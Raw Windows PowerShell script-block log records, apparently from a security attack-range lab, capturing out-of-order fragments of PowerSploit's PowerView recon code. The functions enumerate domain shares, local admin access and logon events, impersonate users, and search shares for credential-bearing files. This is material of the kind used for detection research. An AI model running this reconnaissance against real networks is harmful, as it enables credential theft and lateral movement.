Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $NetLocalGroupMemberArguments = @{ 'ComputerName' = $TargetComputer 'Method' = $Method 'GroupName' = $GroupName } Get-NetLocalGroupMember @NetLocalGroupMemberArguments } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken } } else { Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'GroupName' = $GroupName 'Method' = $Method 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } ######################################################## # # Domain trust functions below. # ######################################################## function Get-DomainTrust { <# .SYNOPSIS Return all domain trusts for the current domaine66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122640Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3944ssable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER SharePath Specifies one or more specific share paths to search, in the form \\COMPUTER\Share .PARAMETER ExcludedShares Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-InterestingDomainShareFile Finds 'interesting' files on the current domain. .EXAMPLE Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') Finds 'interesting' files on readable shares on the specified systems. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches interesting files in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [ValidateNotNullOrEmpty()] [ValidatePattern('\\\\')] [Alias('Share')] [String[]] $SharePath, [String[]] $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $SearchShares = @() if ($TargetComputer.StartsWith('\\')) { # if a share is passed as the server $SearchShares += $TargetComputer } else { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and display what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name $Path = '\\'+$TargetComputer+'\'+$ShareName # make sure we get a real share name back if (($ShareName) -and ($ShareName.Trim() -ne '')) { # skip this share if it's in the exclude list if ($ExcludedShares -NotContains $ShareName) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $SearchShares += $Path } catch { Write-Verbose "[!] No access to $Path" } } } } } } ForEach ($Share in $SearchShares) { Write-Verbose "Searching share: $Share" $SearchArgs = @{ 'Path' = $Share 'Include' = $Include } if ($OfficeDocs) { $SearchArgs['OfficeDocs'] = $OfficeDocs } if ($FreshEXEs) { $SearchArgs['FreshEXEs'] = $FreshEXEs } if ($LastAccessTime) { $SearchArgs['LastAccessTime'] = $LastAccessTime } if ($LastWriteTime) { $SearchArgs['LastWriteTime'] = $LastWriteTime } if ($CreationTime) { $SearchArgs['CreationTime'] = $CreationTime } if ($CheckWriteAccess) { $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess } Find-InterestingFile @SearchArgs } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } else { Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'Include' = $Include 'ExcludedShares' = $ExcludedShares 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-LocalAdminAccess { <# .SYNOPSIS Finds machines on the local domain where the current user has local administrator access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and for each computer it checks if the current user has local administrator access using Test-AdminAccess. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. Idea adapted from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-LocalAdminAccess Finds machines in the current domain the current user has admin access to. .EXAMPLE Find-LocalAdminAccess -Domain dev.testlab.local Finds machines in the dev.testlab.local domain the current user has admin access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-LocalAdminAccess -Domain testlab.local -Credential $Cred Finds machines in the testlab.local domain that the user with the specified -Credential has admin access to. .OUTPUTS String Computer dnshostnames the current user has administrative access to. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [Se66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122639Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3844DAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { $TargetComputers = @(,$TargetComputers) } Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserEvent] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $DomainUserEventArgs = @{ 'ComputerName' = $TargetComputer } if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } if ($Filter -or $TargetUsers) { if ($TargetUsers) { Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} } else { $Operator = 'or' $Filter.Keys | ForEach-Object { if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { $Operator = 'and' } } } $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { if ($Operator -eq 'or') { ForEach ($Key in $Keys) { if ($_."$Key" -match $Filter[$Key]) { $_ } } } else { # and all clauses ForEach ($Key in $Keys) { if ($_."$Key" -notmatch $Filter[$Key]) { break } $_ } } } } } else { Get-DomainUserEvent @DomainUserEventArgs } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'StartTime' = $StartTime 'EndTime' = $EndTime 'MaxEvents' = $MaxEvents 'TargetUsers' = $TargetUsers 'Filter' = $Filter 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainShare { <# .SYNOPSIS Searches for computer shares on the domain. If -CheckShareAccess is passed, then only shares the current user has read access to are returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. If -CheckShareAccess is passed, then [IO.Directory]::GetFiles() is used to check if the current user has read access to the given share. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainShare Find all domain shares in the current domain. .EXAMPLE Find-DomainShare -CheckShareAccess Find all domain shares in the current domain that the current user has read access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches for domain shares in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.ShareInfo #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ShareInfo')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [Alias('Domain')] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Alias('CheckAccess')] [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainShare] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainShare] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $CheckShareAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and check what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name # $Remark = $Share.Remark $Path = '\\'+$TargetComputer+'\'+$ShareName if (($ShareName) -and ($ShareName.trim() -ne '')) { # see if we want to check access to this share if ($CheckShareAccess) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $Share } catch { Write-Verbose "Error accessing share path $Path : $_" } } else { $Share } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken } } else { Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'CheckShareAccess' = $CheckShareAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-InterestingDomainShareFile { <# .SYNOPSIS Searches for files matching specific criteria on readable shares in the domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. It will then use Find-InterestingFile on each readhable share, searching for files marching specific criteria. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, pae66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122638Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3744it']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { 